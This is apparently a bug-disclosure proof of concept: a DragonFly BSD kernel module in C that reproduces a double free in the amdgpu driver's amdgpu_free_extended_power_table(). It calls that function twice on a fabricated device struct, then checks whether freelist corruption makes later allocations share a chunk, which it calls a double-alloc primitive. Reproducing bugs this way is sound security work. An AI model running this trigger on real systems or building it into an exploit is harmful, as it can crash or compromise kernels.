/*
 * DF-4525 PoC — amdgpu_free_extended_power_table() double-free.
 *
 * Reproduces on the running kernel the EXACT call sequence the amdgpu
 * error/teardown paths perform when amdgpu_parse_extended_power_table()
 * hits an allocation failure after some dyn_state tables were already
 * allocated and freed internally:
 *
 *   1st free: amdgpu_dpm.c:393 (internal error path, frees everything,
 *             leaves dangling pointers — amdgpu_free_extended_power_table
 *             never NULLs)
 *   2nd free: ci_dpm.c:5877 or ci_dpm.c:6321 (ci), si_dpm.c:7729 (si),
 *             kv_dpm.c:3035 (kv) — caller fini paths that free the same
 *             dangling pointers again.
 *
 * The demo calls the REAL amdgpu_free_extended_power_table() exported by
 * the stock /boot/kernel/amdgpu.ko (no code is copied), on a fabricated
 * struct amdgpu_device whose dyn_state table pointers were allocated the
 * same way amdgpu_parse_clk_voltage_dep_table() allocates them
 * (kmalloc(M_DRM, M_WAITOK|M_CACHEALIGN|M_ZERO)).
 *
 * Observation: after the double free, fresh allocations of the same size
 * class return the SAME chunk to two different owners (freelist
 * corruption -> double-alloc primitive).
 *
 * DragonFly 6.5-DEVELOPMENT guest, no AMD hardware needed for this
 * function-level reproduction (the function only touches dyn_state).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>

#include "amdgpu.h"
#include "amdgpu_dpm.h"

#define TBL_SZ 64	/* same size class as a small dep table (u8 count * 8B) */

static int
df4525_event(module_t mod __unused, int type, void *arg __unused)
{
	struct amdgpu_device *adev;
	void *e1, *e2, *a, *b, *c, *d;

	switch (type) {
	case MOD_LOAD:
		break;
	default:
		return (EOPNOTSUPP);
	}

	adev = kmalloc(sizeof(*adev), M_DRM, M_WAITOK | M_ZERO);

	/* what amdgpu_parse_clk_voltage_dep_table() does at amdgpu_dpm.c:290 */
	e1 = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN);
	e2 = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN);
	adev->pm.dpm.dyn_state.vddc_dependency_on_sclk.entries = e1;
	adev->pm.dpm.dyn_state.vddc_dependency_on_sclk.count = 8;
	adev->pm.dpm.dyn_state.vddci_dependency_on_mclk.entries = e2;
	adev->pm.dpm.dyn_state.vddci_dependency_on_mclk.count = 8;

	kprintf("DF-4525: sizeof(struct amdgpu_device)=%zu adev=%p\n",
	    sizeof(*adev), adev);
	kprintf("DF-4525: allocated vddc_entries=%p vddci_entries=%p\n", e1, e2);

	/* ---- 1st free: internal error path (amdgpu_dpm.c:393 etc.) ---- */
	amdgpu_free_extended_power_table(adev);
	kprintf("DF-4525: after 1st free: vddc=%p vddci=%p\n",
	    adev->pm.dpm.dyn_state.vddc_dependency_on_sclk.entries,
	    adev->pm.dpm.dyn_state.vddci_dependency_on_mclk.entries);

	/* ---- 2nd free: caller fini path (ci_dpm.c:5877/6321, si/kv) ---- */
	amdgpu_free_extended_power_table(adev);
	kprintf("DF-4525: after 2nd free: DOUBLE KFREE PERFORMED\n");

	/*
	 * Observe the corrupted freelist: the freed chunks now sit twice on
	 * the per-CPU zone free list, so allocations handed out downstream
	 * alias. We allocate 4 chunks of the same class and look for
	 * duplicates (expected a==c and/or b==d).
	 */
	a = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN);
	b = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN);
	c = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN);
	d = kmalloc(TBL_SZ, M_DRM, M_WAITOK | M_ZERO | M_CACHEALIGN);
	kprintf("DF-4525: re-alloc a=%p b=%p c=%p d=%p\n", a, b, c, d);
	kprintf("DF-4525: a==c: %s  b==d: %s\n",
	    (a == c) ? "YES" : "no",
	    (b == d) ? "YES" : "no");
	if (a == c || b == d)
		kprintf("DF-4525: *** DOUBLE-ALLOC CONFIRMED: same chunk owned "
		    "by two allocations (freelist corruption) ***\n");
	else
		kprintf("DF-4525: no duplicate observed this run "
		    "(zone state dependent)\n");

	/*
	 * Leak the probes deliberately: freeing aliased chunks would just
	 * corrupt the freelist further. Guest is reset right after the run.
	 */
	return (0);
}

static moduledata_t df4525_mod = { "df4525demo", df4525_event, NULL };
DECLARE_MODULE(df4525demo, df4525_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
/* NOTE: no MODULE_DEPEND on amdgpu (its registered version doesn't
 * satisfy a version-1 dependency); the stock amdgpu.ko is kldload'ed
 * before this module so the linker resolves
 * amdgpu_free_extended_power_table() from it directly. */
